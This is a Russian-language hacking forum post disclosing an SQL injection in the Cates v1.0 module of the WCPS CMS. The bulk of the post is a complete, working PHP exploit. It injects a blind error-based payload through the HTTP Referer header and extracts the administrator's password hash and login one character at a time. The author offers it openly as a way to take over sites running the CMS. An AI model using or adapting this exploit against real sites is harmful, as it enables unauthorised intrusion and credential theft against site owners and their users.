Показать сообщение отдельно

  #12  
Старый 11.01.2008, 21:28
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

SQL injection в модуле Cates v1.0

Собственно уязвимость нахотся в файле mod\cates\stat.php а уязвимый код выглядит так:
Код:
@$query = "INSERT INTO $GLOBALS[wcpref]downlog VALUES ('$nma', '$idd', '$GLOBALS[REMOTE_ADDR]', '$GLOBALS[HTTP_REFERER]', '$GLOBALS[HTTP_USER_AGENT]', '$now')";
if (!mysql_query($query)){WCInfoView(7,mysql_error(),__FILE__." ".__LINE__);}
Никаких проверок ни у referer ни у User-Agent и о какое счастье вывод ошибки в запросе. Да я согласен отсутствие вывода огорчает, но, написав небольшой эксплоит, можно таки очень легко поиметь сайт на этой цмс. Ну и сам эксплоит вот:
Код:
<?php
/*----------------------------------------*\
Експлоит для модуля Cates v1.0 к cms WCPS
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//

set_time_limit(0);

function create_packet($num,$sumb,$znak,$column='user_pass'){
	global $set;
	$tmp="111',IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",(SELECT 1 UNION SELECT 2),0),'1')/*";
	
	$header="GET ".$set["patch"]."/index.php?nma=cates&fla=stat&idd=1"." HTTP/1.0\r\n";
	$header.="Accept-Language: en-us,en;q=0.5\r\n";
	$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
	$header.="Referer: ".$tmp."\r\n";
	$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
	$header.="User-Agent: 1\r\n";
	$header.="Connection: keep-alive\r\n";
	$header.="Host: ".$set["host"]."\r\n\r\n";
	
	return $header;
}

function logg($str){
	echo($str.'<br>'."\r\n");
	flush();
}

$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем хеш...');
for($i=1;$i<=32;$i++){
	$sred=0;
	$tmp='';
	$i2=0;
	$i3=0;
	$znak='>';
	$mins=0;
	$maxs=255;
	while(1){
		if($maxs-$mins>3){
			$sred=round(($mins+$maxs)/2);
		}else{
			$sred=$mins+$i2;
			$znak='=';
			$i2=$i2+1;
			if($mins>$maxs)break;
		}
		$header=create_packet($i,$sred,$znak);
		$dt='';
		$fp=fsockopen($set['host'], 80);
		fwrite($fp, $header);
		while(!feof($fp)){
			$dt.=fread($fp, 1024);
		}
		fclose($fp);
		
		if(substr_count($dt,'Subquery returns more than 1 row')){
			if($znak==='>')$mins=$sred+1;
			else if($znak==='='){
				$ret.=chr($sred);
				break;
			}
		}else{
			if($znak==='>')$maxs=$sred;
		}
		if($i3>20)break;
		else $i3++;
		if(substr_count($dt,'doesn\'t exist'))die('Не верный префикс :(');
	}
}
if(empty($ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
logg('Выдираем логин...');
$ret='';

for($i=1;$i<=25;$i++){
	$sred=0;
	$tmp='';
	$i2=0;
	$i3=0;
	$znak='>';
	$mins=0;
	$maxs=255;
	while(1){
		if($maxs-$mins>3){
			$sred=round(($mins+$maxs)/2);
		}else{
			$sred=$mins+$i2;
			$znak='=';
			$i2=$i2+1;
			if($mins>$maxs)break;
		}
		$header=create_packet($i,$sred,$znak,'user_login');
		$dt='';
		$fp=fsockopen($set['host'], 80);
		fwrite($fp, $header);
		while(!feof($fp)){
			$dt.=fread($fp, 1024);
		}
		fclose($fp);
		
		if(substr_count($dt,'Subquery returns more than 1 row')){
			if($znak==='>')$mins=$sred+1;
			else if($znak==='='){
				$ret.=chr($sred);
				break;
			}
		}else{
			if($znak==='>')$maxs=$sred;
		}
		if($i3>20)break;
		else $i3++;
	}
	if(substr_count($ret,chr(0))){
		$ret=str_replace(chr(0),'',$ret);
		break;
	}
}
if(empty($ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
logg('Готово');
?>
__________________
Кто я?..
 
Ответить с цитированием